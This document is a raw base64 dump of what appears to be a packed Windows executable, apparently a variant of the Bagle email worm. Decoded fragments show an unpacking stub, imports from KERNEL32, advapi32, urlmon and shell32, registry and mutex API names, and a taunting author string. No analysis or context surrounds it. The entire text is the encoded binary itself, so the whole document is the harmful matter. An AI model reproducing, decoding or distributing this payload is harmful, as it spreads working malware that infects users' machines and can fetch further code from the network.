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 Hp4fGqp7kHuC6upTEq+Ri7HeiJ+Krp5qikwTVZgrhlEd9fkEIdIk0og2cC33o/tR2k+hDiOw 2W3jCwSpIPInrf/g2cEWey3NijYZn+2WpdBwAAANCgFJbiB/sP//YSBkaWZmaWN1bHQgd29y bGQVbmFtZWxlv91c+3NzIHRpCBMcYW4hdG8gc3X+b3/3cnZpdhJTbywgeW91GGlsbCBiZSBt aW639tvvFS0tIEJhZzkgQXV0aE8iMjlht2/uLjA0AglHZXJtRHkufW//t+9qAAHojkCQo2yZ QABoDzgE/zUE3+0a33BAFCGKBTZsBBaxkGpk2v7/dwdBbuvxycNVi+xX/3UIX+sIR/YIgO1u /5ezBTt9DHXzX8nCCEJrT0cAEPsg349BQChok6gOcIEFcVAebu3/ZQAA6ZX+7//M/yXsYA8F KGEZGRl5JCAcGBkZGRkUEAwI8hwZGQQA/GD4MjIyMvTw6OQyMjIy4JxUWDIyMjJcYGRoMjIy MmxwdHg5NjIyfICEv4hgns/n84xgkGCUYJhgLPl8PkegYKRgqGCsYMjIyPOwYLS4vMjIyMjA xMjMycjIyNDU2Nx8Pp/fYYlwYWxhaGFkYcjY5PmoYaQFnMjIyMi0lJCMyMjIyJiwuKzIyMjI vDg0QOHIyMhEUEhMYdlkZGTkeIR8gDIyMsKXFBAI5DthMgzZYAUgZGRkZCQoLDBkZGRkNDg8 QGFmZGRESEwAAiRUQSKaqaL6HcP+9t8+EASMT8vDz9QBy8/M1Mj6AG3///+ptbyurbuov6au k5ef+p6IjJ6elpbUn4ILptn//4EMta+uqrWprtS/or/6tLe7s7QJ/v/f/rWorrW0pQ2uv6i0 v66lqb+5r6XJ1MqlzsrN375tzyCqvAqlYKXDwqUkpbe/pWu3bdjIsRgMqS+0vTkQ+c9uB6i1 RbmuDKm5sr++ych2a2c/rqy+twmsqBjLzAy19v82sTiztdetqKrXzsjL10gKvbnug5Sxs7a2 TLleX66vqreZO7Yvyxe2vhUJHLu2J+QPc68Msb61rbTIyn0sNmsAEEIKuba/uyP8P7aluQu7 rIqIlY6fmY7Dgh652MJZ+7e9qL6zHii3E8ql5GTtNrnnw6JNDLSuD/s2m6wGbLjLwssLrr7P bu3Zrbeks7m+eaq0pb6/C4O1hbylrvwMqo6jLxvWZgpSB6m+qEJhVnAr2I0ZU585tnK/n7IB v6KrrxxYwApMGCWsv53dkmeqvheiFq6zrLOoLdiH8K+p17k6vLupCBewMCu0v3J2DEStOJw1 gsweEaqcWQu20AawuyKgB5KwzdqpYmnPtYTkwN7+Fc/Jylu4o7gQrWDbgyWjvbi34a8KZd1g jaKDvdy+CdbKEbZavd6yu4UEhn0JjTossq62HSs0Tti2v3q74XkKdnhbADWor5w0w+Rk77u+ ggy0rv1CskOwCb8jzHYyCgOzy2Czqp+MLUy2MaggqWqwMxRmrdUTyIIEYcZsWA0M5wPDTKV2 trMLX0QQG5OWuarZECIZ1y5pSUsgySE6tu3Z7Ui4iL3ICanLotsOxhmUvv68vSagCgtWKgQL kjMMW5aE9q++iMeiG2mhHcYrtJxIrdLbDlsOu6IJqeG4Cy0Jkw0guSAKi5Bsa0Mizl6/GUbD yTq+Ir+1dbNvm1uCG3NUDEC8HsPcsLULJwrq6evfsBIOqqOyr8nXjUKwlmzIFEm/mq9sl4T9 C6+3/Lavmw7htbmGJKy9e6msrN2eZgw+17u1sAgP2LBIKV4NCFrhLTuqs9kO8rUNYcnN9QzF vrruMoZ1HLUJ/bth2ZI17M/PvxhCLqzYN9iWIrYMvbbDDAPPcD2po7TOBr6lStdBak28sy68 uLOMrW7ZMAnuDargLYHCZQm/7zyWNQ3WEqkItoO+CuGDwdjOv3q1h7TzQCsvOa20rafDaA6C ToKOUmzWCwaTKnsSyzgwl7MVqq3AbpBvCrSzorGsJ6Kj0Wa1hzK/uKuWvfufrP1+yKnDAw+x pc3MpcvOycwRZYM9DrNyDL7oYIcHtgy8CbOND9k3WFgcyx3LzaXKD6zWNLA7l6kohZoN9hTL vJC8iGVukmjxrnyqWNdbmD22B73PDFiuFyxzyw614wsiNQ4UTLnGo3UxweSCbkK6Wgu4Bzf6 iYOJ2hd2uUSwpmAhq7Wqtiy19mCiaEYvrMoUSW/YG1cLXeXQOBi0d6atvUsuRuEgEa2yqI+5 huRMs7eC/4HTjLCt0QqE4L8smRhCcyJ7VTirtSWcB6gSC37ijof1WQqpuL2TraOwTBjcGlSn sam2ormDVDBk7yqgu7+FBhGGCaB+tMs6tWAQDY7fadksZrAfCRUiZXHZC8lCJBIYyDK+cCsI BUqTpLIwNmkQWr9Oq88Yw4WAdKuWEazCK21tGDSkFfM+vgSG9Ya0DL+4NrAuBqgHrwouQo1l HahbnaPYthCEO/OsJLSJVoFGK8N+R2dmKpQIqPBZCxFms3e4lgpCWTaBCYulMKUBGmevQmtC 7EcRvIOZGrO5B+gXkKmSDLxgZorA9a0gZ98TtDe3x3C4GbOzCIwHThIO1s2gOqIJqckQZmzB WktkibxKe7RkB+RfFe3SFYj0ZM+jt2rwdUvWgm4JSJOpsSQF7JstC68KkDLYYI3bBrsHty8r dWseyNc8C7SuttDsIdfJCYWxgZstUGD3RLgJdyYdWFfntAuit1vy7Cz9rn6osAt1M0iWh5Yq qh0oVJhizUCf3BJqjQysDQcMGNaCOXYKzCGrLWvkb/ULSsbIlqwwGWMLvA9ePwj3t77wZWZq T0iWrLS2inwMaMGcaTwLDAsaOYK1vgkPL3LMcsELt++TrFUqORpU1VMyGqyJFnOiqAuyMGCD RRYMs46pFsO6JGMKtQkKxLKRb9+pvwzH7AXMrQ3HDqUrCLNbvkHCwwwSxw+mYRSRG4OiRrNW Fk1bSbAmNVbNp4De2RojsEezOhxdWSySRreQgFx4s/kKNL3JKTdrradBCEgrGAYmDreTORyN WVtQvGTBGQ/NDg3WkyOpeJziw1rBDAhzDK/KycJDqFUC0vbCyrQ46YLAo12uqaAzMQT+DLfI zHj4D9v/yFZ9t/qSjo6KwNXVjQDUA3vh/4mKk5+dn5bUnp/VI4qSihsT2L/9lp+TioCTHYjX l5+JiZ8jl2D/BfaVmJOWGpSfnJWIl5tbyE9gX5uMkk+dlZ+OkoG13xYTnYiPg46OrPuHsDKS opuPjpWJmZUFrbUEdsjOH1TcOxPY3beZQNeYlY4Hm5yOJ5iEbwvsl5icGJKWk5SbBitcaCFP A5SUQlsra4VCDW0DXGsnsP+pipuZn5mWj5g/nIgdDrb2IWzXvJaVjJ8+Ip5Fu4UQM5WUldb2 DSG8j5KTkVSP85ai8O4Fwp48mdcelJOOgLbRPoB3m5ibkThDjn+wwgnklJufl1l3ob3ALo1v k5wVjW07hHCdlGiZkYaJkf4LrG3PjllYioiT142V1/JTwht1mI+InRSMk4iOj9othPGAlZTP 6YmPBIwJLxCJj9fq7i2BtQubcBiq0naBbbSWUY0Yjga7bY0QKhvXU46Tqe1tCGmJXoAekZWX BtRwDGF1mcp4pcIuhNsO14hpFUZbYI2IeprmPIEVFtiZnKByNmULbUztlxqQpYE13MaT/YzT rMo2YTtheIjM1+EqLawE95eCktm90ILCEIIrRtQ01/VSO2WmbBzJjuolVtYW2pXRbJlWOLAt lBoIjkMxnj+WhQMIralAEsiPDQuEbWuXHJ3MjP8AmJ4KsKjXJwKjUGqabbn3N8cE8pydkVY0 n5QyNEYIi3tdCOuRwmDq+wghjEIPHtxWKrRCD3cCvcoK7hGVmR5GUy5LpduEiJ5buZWIj9OH FkAU2deVuFwgtTarlbF8kVzHBgkmR4+UH1fWChcInZNmCvOegLW1jpP31KPGiVsaOFMpSVOJ 0gghlQWPkhqnVitQvohbRT0LIQwatm7pjyhcYBsKk6OWdWOEtJkzY517aynZDK6UIdXnlw3X SuCXkozsuJqVYOhMSP6IBB202rbFiRXC9Yyz2oEB1gofI7fjYaKJkogmidhsw8SVaI7JLIM3 KFFqARWaI0YIy1By+WzvCOnC9oDXkSWWmY+Sm2ZaIHGemfCUcrDAlrZhjvKYINX00Y6o14p7 XNdln5bbGoUXdo03X6YFEo0b//eMbYG1nmTYm5QLQggLxzM9TVyDJNqO+1xVsFm3DbOcZpee I6XSVuAtZiEZlMwTBtoEnKA8ijU1HIW7AmRviYVSaZB0AEu0bBvCTM0k12adh6PQSimlQ5Gm QiOEhNTiEVtgJr6Hlg9F60JioWmAy4kYj2a25KKxb5YnjMcFToUF7qeNXyDgCj0ot5mTmcQE kqGMH2GVaLYwhMSQXZvjpba8QG6fgo5yKf5LtlrqpoP634nFisffaLy1haXc9waJ+rtOttFm Wtb6MaTVGYoJbgdbCiScCZCKvvqdnG1d20aKMd+WKr0LqcZWsh9pj4oOR4582m9j7I2UD71J szy/lHsJbKkZ5BxWnxjdWKFjFLaV9RW87Kn5WAMH4gcXqZuMnwaetR6ulbw0QL6TU7kCbrOJ Fsq3oJwFJgqzA/hgwv6yCIcHTrY32/oA2NvlFyOqv7b7PRc7ajL3m/1/+hr69Nvx+//2+vxY AOrrBLPvzboD2g4LG/4ebrbsZAf6yjMGKBlLNrDqBwYM7ux8I6zGoALaAIlF9iqK6jc1fcG+ lmbr/5Cs+LYt15R6GlJzmRDSOyWcTSP+R7j6AJoahyimmXrimNlg4CuklVoLqurukicvJuqS 6gAPZjllk3IDaupkQJ5tmlY+KuofEOrDQccv4/q5lp2yoK9/FBytyA3Lary7+p7GkoOO+/yt 9ySJxdK3LrYYmR+DFvpD+K2BtUbusyT6KfjOyDMqQQPQF7FOtixt21J7c/rZYJ8Iv+eZNnuE K2dN7By+wP8KWJqH9vuPvGrpeONTZJIat+oSYbOSAc/e2Q5ixwrf+t8koE/y4mrlFJJhUb25 9ykLEo36X4KepKpRySFquVEQkk28zvqINkQ92kTgV2hmE9ExVKis2tn69wPE8wYS8/qkUAXf imVGRkY2BY6ChnocgGFGcuf6////g9rL0MvVy8DLtcuuy0DLOss8yzbLKMsiy/o7ChVlAAba nHlsCUw4R9YIjoKOpW2DbZ0GlEKfCIpI2Nt7tZIF6xsJk/fwDO3rJX7ax9rYr4mlyDrYF5/k hrWpM0kat7WYkFVq6U2l0tipmaCKTGcneDKlpKmzG9gN5tyy0zl6OUPU6rLPnUGubTPSg64K WDBntjWjMZ973ecdKrQV0rgk3pvAEiVuBpvHo+uDbDdTroQSaMbHytSVNNaZa/cNd9RB0stc 9y8riNKb0pPT0yeUcB9dsLNYlU+ABge527atBJGzvFGoq57e5Oy9nYzL1g9OD8jZBjNwu4pa Ick3mYKrqxY04p+QSrScK0eJXhXnyAgtIjjdTZXv8DosFYnPQCresjtqL3+U2tJIGYsW7sMq i4+TzLhitb9sb9YEA5bGsq63tsQVgTfovAe/u77jtr/EYH+z3Qfar4qec8bVFSauu8C/VQ/A u6o6rsfas77H2FiLBuyr2NoStGgTbAWWgAG+fAqUXvuwQlsNqa6jRxLe25orCBQxqjIQBtC9 1gw/CRS1Of1nLuCirosYt7uis7ezoAw07FZUrq4sQBq0wMgTzLUyRr23iyC4u3cS5Gj2F7Vw yrS5vxMVc5e1TVusk4EVAtdKeA0+OlsJOgedK5eBA4Al2v5tu9X4qbmos6zaQTtjt1C2vR6s uNDYHZD+Qbq3g7wMi5yW1IyYiQr3Bkh6vKm1Bq41O8mYjYz+ZvwKqT12J9SNsnbBwm7tNurc 2qaJlpxGxtYGUtbKFJFCg6QQNtgt7EJZG2Tm51AKYYOwA0qsEbbKGDkt2LJCWBtCIBE2sEJX IgphIaxsLlmsUPaBSZbNCBtkA4AbHCFsQdbVTKwyAljqXoQEQgkAAZYQSGFUF3WBQApbLy1t lzSwIpm0xZIaLuTM7xK8vlOths1i1JFlIA1OoJWSImfBqVnuYUMp1KirSaCAaSFkytIte80q 8HmIhpCmH4UIPMSNqRsD0iHwgrXTIBYr0r4QiMDV4/f6+7nWaKelXd1uPu7kbdWg/ZOfjZ+I CDank7VGa82jE1fRxo4RC40jP/q/9unbg2/tZOG3k2ZwlZyOpinaVrQHprmPIgmsRWpWriGX psJJbSboxlPUlfqzBIBambe3nfrXE5KOm3mY5CmMXMBjurPWGoaOFpROPjGK/0YFuqvPsJj4 +f7//P3y0oKpUmDHh9/lMJesuSLxDXENOQdhHpWIna8Gt/3CVpe2vKi1t8DGGsQXGtbAwLne Sw7DPril0LsGK7qX7a7eHqX6/PuWnNeJQRi5RGvTbiT6j/oWojlYT4PpG0iJKxTK0QXyBucr 9Aa5ln4d7Z7XmYrW4BoMG+SKBextqGbuBY6egwc8B6VCYZGCH3B7ZqA2Wfp0iWAAItsWLLR7 p/qrgmOJiuZu0J76IY+CBV3QxqBm33BomS4b5Fq7d5KVtFwEvJtU26VogCLXmyG6B8eXwLbw lpuY+jaJa80ZbpWVnd4Nq80c3VozcJeKLH/CUvqKa61trTvXVpu/C5QamrttWxCdMLpHitSs UtaCRtspg3wt9KYY2tbcleaiiJe9plzdwje1pvrQ1NDdjWnUopt1nBfxl4mdAIkFBM2YefuC l5YenpiCBJ6fXN42fxOUmZKXnDyVnomZnFw7xMEYeQQhsV/BFXYhJ16YmFS79sF1TpYrMNSP zzWdk21u7HNEGJ5ykEDIkhqGJ8Pnvdq1nDHjtGDaCqLJna6RLEbDtmqt25Hj27gptfchtBGi qtYLBrniJ4cvjdqxn4MTNsyl7DVfLSY1rdAObC2qGU8RFMqttYkLBAqblnhopVcuVdqZCpZI FV2XXbfb2yraN59onQy0/pvTWGWLeIeOe4loJbxtMrSTHQcyjpGDrFUxCp462Be20NpZRYqY DgySGMNirYlKggA65Rkd8aipCFza3Tk4ZqLqIbuSDytgW2vvV0HNMrBLhdx2tpXdklnpgptc rGJrDSWR7YKi7azbDsIxjcOiANrsKcrmHVyIG4lHwZbdOLt+2swpEdGECe7P2qpsMD7ots2C lo98mEeqkqCtrRkPBC3DsI8aLLQTaLcjGIKUZaqFDniMS4862G5NrT6kMZLgj5gPjgoNYubs RHZSqH071jsM+p4A3dbd2gXGrebWZQDag9pDssCP2Da20sA+Cd8qkwPIDlzd1lsKvoTAWT/M atC2lQfYCC89AZcwU4EQbvQtddLZLLeG1zvA2KhR7B4gy5PXVo5aEDwVjFfWum8tXgLXroOK ZZfVsO3W6qIp1RuknsEfVqhWsNoAPwQYmgu20YOS1wB3Hkb2hrm8DxFPhsamh0bVF5bBaY7R ajQTbD8fJgABa7RQkx0seMUGLcqJ9ddqUlnh5sA5zZg4XgbaodYRV4BUeOztIHuPUZh1n8zO IiK0WLGdZQt0VGsUY06hZcEmLLAYi1VLUWAq+xTEm5tO1hpfqwO4XtXVGBeELTvQiS2xsGBv EBKV+gSe4M99bQMR1BkDxpiI78GH934JncTGHhHZa7ESxgkGFuRopa3Sxj5QiahdxGAnXLSe wBLEQKrs2KHLy3Oeigza1wkNY7M3Fg0AqBK3Lr4JtIlI0g2yhGrs0rGVCaObU5XbCq4Bayw1 /3mDbA5Bh9luVMDTDb9N2jGrxoJeHr4ZA3uZMLiE+B1bcshkFLe/jINDw94QHFzY7iDEWpkG t/q5fj1cDV45iy7BVqhC6Q2lBjBqarVkT7ybgkR2zy0WVOjqngFtCaOVuWWRaxXaHp01msER e6kaHKUIw2Ui/w6MDfuWdIoynuwA2nN1NjubBRDUfgTuZwNXseKTjIKeBEMbVpiTdiq2tFos unLaV21y4IJsdJGJToll2CFsD5iTEIrCirOGW9Zw1I2fFyMZ1AawQWuKBguwQ10OifBwIQB2 GUfXbLoFtmyDM6+JpDQ6eGSANzWXmSmbsA+Y1EW7mJMto2GPrV+chPACCEu2I/dKrh2ziCv5 lkIcnAJCnh4IxuSeodeiGy0acwA77NE3jcKGwGUhETYbu+szfiILhC0sWNIDmNRmgmIPDDVx vseTUimKHJCMpeIOqeuW1N3fMfr8pTcxE4cNNrffHKGwcEjjozGlHCFcWWhgpU6NVKUzlNxb lLK5nKW2/9IFGHAdx44XjFNta7H5+k8TiSEVmupOWINfu5YspV6eXCXcrk6wlSl8HINobqYC X4mllJw1TN2cf2aPnIABbQStnXqbB8WPk2uO3NcdnhGIRO+sxWzfs5gOa6mXU7OGn0wwNHyE pQ+l6x7WMtVaJN3eLII2WHCOgowLjE2Tu20xi0CKkIGOrj5zYJislCGJIBfkcnNvREi7mZbV Ho+K3KG2TawYjxckMoxdzBVSuT5ojqm8X7WKEEMX/ZanWsBgaKjvaETBHLmp9F45tdoihaQ3 knCobbHKp3datAIfbIP4jqonlza3j6KCrQPxbwGuv7Sjsam+cVYbtRjNu4m802jJqf8dtEZI FOv63b7diN2V3Yrv/oV2AZ/dKqndkd2D3bQLjt36pU2z/fbXlbWbSYbX0anRA5GDtP3b0jSf joZlsbWV16X6oTHiUs5PiKaApx0/a3C0iYNqRZdpsJGWqc3SNVOXUgDXxK8/Y6+ZxgoRaaep 15Hc+Rb614PXtNdQjl2h0KqR4Y71rPqg0ouAo7DUhe25ga5Sg8BvPvrDorKO7voYakNbSHGK D6bavNWE1jZTjQcIXD3WGMz6B64nUrO5q2CjW9a2+kMNvjawh21srWopyJX6QaklF6GrjGmJ vuAO3VIDVzMzioNDqjVHzQBaB4xUZI4KsFm03JqLYSxJvWW7JfoRzxE4OonIRoMKMAq+2oT6 cwFZjIpcIgAJRQILJYkD/5fLqTQBVFABR2V0TW9kdWxl2BYAy0ZpToNBE1gLgP9Qcm9jQWRk cpAP/+y3/1N5c3RlbURpEGN0b3J5JFRpY2tDb+zbFux1bnQNPEYbbWF0QQ9jbeyfWm9uZUlu ZhVpCxdXbf+E/WluZG93c0tsb2JhbEFsBmP3v22HDEYdZQtMb2FkTGlicmEmz2LJug1jJQsk TWG7Nff+cFZpZXdPZsIOzGtCea7vW/t2VG9qZGVDaDwUT3BlbtNr28FizwgzMjBy1g/N2u4B TmV4DlJldEohgN3NrWdnaWlEcoJrW/d2U3QFbmdziVMYRcVxtd3PDQ0IQXQfYnV4da39giET UG8xEIBT2iGCuwtlcAZHGp1t27b3HwkVVCFtJ2EZ4Rf2ZKJVbm3VV2FpdF3mDG+uU4AOT2Jq OxTf7S9ZC0v0FG5FeB7hdrZ0MnJlPWx1cmOYyx722QltcGkKcHkJLvZasG4KMQn8+jDbZmei R89/egzhCx+PEFR5cC9DkXNlSGEQDwz3XmobyQlDddjBCoVyqAbcSWQU17rPAhJvbW1FTMBV BHsHx0YnkHYOm3sDO68PeHLuafgP22VHQ1Vh+29saGVscG6yX1jTU1dwc2hvdBloBhu24bBk DU2ueEENWpcwQ8dNcGQTDNpCssJvHwo/YRuabO0SvlJoS3PmbqdZWkEIFmdEGRTM4d7CVkR1 OBAWDWz2ZG9FdCBLZXkOcmZzb9kO3w1UTpijnZ0gIULwHw3Jbk1vkF9iSkRDttmbHUptfV8W CeFjO4w5Rllv5GywjW2CO0lQgyZ27xizWWtRXA4vz7h2w9xsCD7GQms329YMZ/xUpYNRcqdY 30xJNjRRMQZtT25I21qHSdQ7DmppCuFpNkdH1WIAU6s0W8OjbLVCQUVuQPbYG+4/33JJQQlE dXAI2cZgbgISVIVtCfWn6dxSJzl6WFVSTESmm+S6ZW5sQGkchWg2bZ1gfXDJdGZNHTss7DRh Z1BvkP9za20ZZm2VcKQ1eneVGk/u3hxoVRuqHE9P00mQeEndbrrsa9mSAhR0QQ6MgJUuVVwR 8zZD23BublJlZMMvWZy5tu5pjGkfX7xkO0FAo7GedMD4VZidzCEMYnkOSHnpa8BQWGOAcwNr ZXS/yltuYr1yYWNjJVNBgdccd1xydHUwIxl5NvtmrnYyehRsBz75L8dgzVBFTAEEAMwPkECe NP8P4AAPAQsBBQwARFZIUPsMBwLfWA1AC24WbDkCBDMHDMDO3JLQHjQQB7O8JN4GT9Bh3F0g kMvAoAOnxPuarrABHi7DdOtCkHcX9gXrBCMgHi5yZHSD7Qqvo0YL+wwnSNli3YVAAi4mR3Vt SprucCc6VMBPBhtsgXOCAOvAc47Av9/KJxtwZA0hxgAAAAAAAAAAIAH/AABgviWgQACNvttv //9Xg83/6xCQkJCQkJCKBkaIB0cB23UHix6D7vwR23LtuAEAAAAB23UHix6D7vwR2xHAAdtz 73UJix6D7vwR23PkMcmD6ANyDcHgCIoGRoPw/3R0icUB23UHix6D7vwR2xHJAdt1B4seg+78 EdsRyXUgQQHbdQeLHoPu/BHbEckB23PvdQmLHoPu/BHbc+SDwQKB/QDz//+D0QGNFC+D/fx2 D4oCQogHR0l19+lj////kIsCg8IEiQeDxwSD6QR38QHP6Uz///9eife5BwAAAIoHRyzoPAF3 94A/AHXyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWJ2OLZjb4AwAAAiwcJwHQ8i18EjYQw pOMAAAHzUIPHCP+WgOQAAJWKB0cIwHTciflXSPKuVf+WhOQAAAnAdAeJA4PDBOvh/5aI5AAA YekEbP//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA 